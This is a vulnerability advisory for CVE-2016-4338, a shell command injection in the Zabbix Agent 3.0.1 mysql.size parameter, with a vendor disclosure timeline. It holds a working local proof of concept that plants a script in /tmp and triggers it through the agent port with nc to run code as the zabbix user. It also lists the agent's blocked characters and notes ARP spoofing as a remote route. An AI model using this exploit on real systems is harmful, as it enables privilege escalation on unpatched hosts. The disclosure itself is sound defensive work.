Zabbix Agent 3.0.1 - mysql.size Shell Command Injection

CVE-2016-4338: Zabbix Agent 3.0.1 mysql.size shell command injection

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Affected products

=================



At least Zabbix Agent 1:3.0.1-1+wheezy from

http://repo.zabbix.com/zabbix/3.0/debian is vulnerable. Other versions

were not tested.



Background

==========



"Zabbix agent is deployed on a monitoring target to actively monitor

local resources and applications (hard drives, memory, processor

statistics etc).



The agent gathers operational information locally and reports data to

Zabbix server for further processing. In case of failures (such as a

hard disk running full or a crashed service process), Zabbix server

can actively alert the administrators of the particular machine that

reported the failure.



Zabbix agents are extremely efficient because of use of native system

calls for gathering statistical information."



-- https://www.zabbix.com/documentation/3.0/manual/concepts/agent



Description

===========



Zabbix agent listens on port 10050 for connections from the Zabbix

server. The commands can be built-in or user-defined.



The mysql.size user parameter defined in

/etc/zabbix/zabbix_agentd.d/userparameter_mysql.conf takes three input

parameters and uses a shell script to generate an SQL query:



UserParameter=mysql.size[*],echo "select sum($(case "$3" in both|"") echo "data_length+index_length";; data|index) echo "$3_length";; free) echo "data_free";; esac)) from information_schema.tables$([[ "$1" = "all" || ! "$1" ]] || echo " where table_schema='$1'")$([[ "$2" = "all" || ! "$2" ]] || echo "and table_name='$2'");" | HOME=/var/lib/zabbix mysql -N



The code assumes that /bin/sh is bash that supports the [[ compound

command. However, if /bin/sh is for example dash the statement



[[ "$1" = "all" || ! "$1" ]]



ends up executing the command "$1" with the argument "]]".



Exploit

=======



Zabbix sanitizes the input and blocks many dangerous characters

("\\'\"`*?[]{}~$!&;()<>|#@\n"). Since we cannot use quotes we cannot

give our shell commands any parameters which significantly reduces the

impact of this vulnerability. If you find a way to execute arbitrary

commands using this flaw I'd be really interested in the details. The

following proof-of-concept shows how the vulnerability can be used

escalate privileges locally:



$ echo -en '#!/bin/bash\necho "This code is running as $(id)" 1>&2\n' > /tmp/owned

$ chmod a+rx /tmp/owned

$ echo 'mysql.size[/tmp/owned,all,both]' | nc localhost 10050 | cat -A

ZBXD^AM-^O^@^@^@^@^@^@^@sh: 1: [[: not found$

This code is running as uid=110(zabbix) gid=114(zabbix) groups=114(zabbix)$

sh: 1: [[: not found$

sh: 1: all: not found$



The exploit of course assumes that the Server line in the

configuration includes "127.0.0.1". If the agent is configured to

accept connections only from the Zabbix server. In that case this

issue can only be exploited from the server or by spoofing the IP

address of the server (with for example ARP spoofing).



Since output of the command is piped to mysql it might be possible to

also execute some SQL commands in the database.



Author

======



This issue was discovered by Timo Lindfors from Nixu Corporation.



Timeline

========



2016-04-19: Issue discovered and reported internally for verification.

2016-04-21: Issue reported to vendor.

2016-04-22: Vendor acknowledges vulnerability and starts patching.

2016-04-26: Asked status update from vendor.

2016-04-26: Vendor responds that the issue is still being patched.

2016-04-26: CVE requested from MITRE.

2016-04-28: MITRE assigned CVE-2016-4338 for this vulnerability.

2016-05-02: Vendor published details in the issue tracker https://support.zabbix.com/browse/ZBX-10741